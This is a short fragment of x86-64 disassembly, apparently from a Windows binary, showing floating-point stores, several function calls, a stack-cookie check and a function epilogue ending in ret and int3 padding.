movss dword [rsp + 0x74], xmm1
movss xmm1, dword [0x14025c2f4]
mulss xmm1, dword [r10 + 0x37f0]
movss dword [rsp + 0x70], xmm0
movss xmm0, dword [0x14025c2f0]
mov byte [rax + 0xb8], 1
mov rcx, qword [r10 + 0x3ef0]
movss dword [rsp + 0x78], xmm0
movss dword [rsp + 0x7c], xmm1
mov rax, qword [rcx + 0x298]
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
lea rcx, [rbp - 0x70]
call fcn.140003c30
lea rcx, [rsp + 0x70]
mov r9d, eax
call fcn.140003c30
movss xmm0, dword [0x14017c460]
mov edx, ebx
mov rcx, qword [r10 + 0x3ef0]
mov dword [rsp + 0x30], r9d
unpcklps xmm0, xmm6
mov dword [rsp + 0x28], eax
mov rcx, qword [rcx + 0x298]
movsd qword [rsp + 0x20], xmm0
movss xmm0, dword [0x14017c3a8]
movaps xmm1, xmm0
unpcklps xmm1, xmm0
movq r9, xmm1
call fcn.140020ca0
call fcn.14000f770
movaps xmm10, xmmword [rsp + 0x100]
movaps xmm9, xmmword [rsp + 0x110]
movaps xmm8, xmmword [rsp + 0x120]
mov r15, qword [rsp + 0x188]
mov rcx, qword [rbp - 0x60]
xor rcx, rsp
call fcn.14010cd70
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140036b80
int3
call fcn.140002ac0
int3